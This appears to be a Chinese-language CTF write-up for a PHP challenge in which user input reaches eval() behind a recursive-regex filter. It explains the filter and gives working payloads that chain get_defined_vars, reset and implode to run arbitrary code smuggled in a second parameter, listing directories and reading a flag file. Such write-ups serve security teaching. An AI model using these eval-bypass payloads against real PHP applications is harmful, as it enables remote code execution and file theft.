【无标题】PHP-get_definde_vars
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-get_defined_vars | 2 |
[题目考点]:
get_defined_vars — 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
[Flag格式]:
SangFor{tHOllYKRkqYkRWPS0zZf8z1QztC3q_2D}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2088
[题目writeup]:
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
分析题目代码,逻辑十分清晰。
首先着眼这个正则表达式
[^\W]+\((?R)?\)
其中"[]“表示匹配的开始结束,”^"表示取反。
\W
,(注意这个W是大写的),匹配非字母、数字、下划线。等价于[^A-Za-z0-9_]
。
所以[^\W]
是对上面的\w
取反: 匹配所有字母数字下划线的字母。
不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 “+”,
然后是\((?R)?\)
:
其中两侧的\( 和\)
表示匹配括号。
(?R)
,(?R)表示递归表达式本身,
(?R)?
,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。
整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串必须是完全等于**“;”**的。
简而言之,正则限制了只能执行一个函数,但不能设置参数。
这时候需要使用到一个php函数
get_defined_vars — 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
用于返回定义的全部变量,这样就相当于可以获取任意位置传入变量值。
就可以通过next
、current
、reset
来操纵这个数组,就可以获取到想要的变量值。
只需要reset所有的变量,然后只有当前get赋值,那么就只剩下get请求的变量了
查看目录结构,直到找到flag位置
?1=print_r(scandir('../'));//&code=eval(implode(reset(get_defined_vars())));
查询flag值
?1=readfile('../flag_phpbyp4ss');//&code=eval(implode(reset(get_defined_vars())));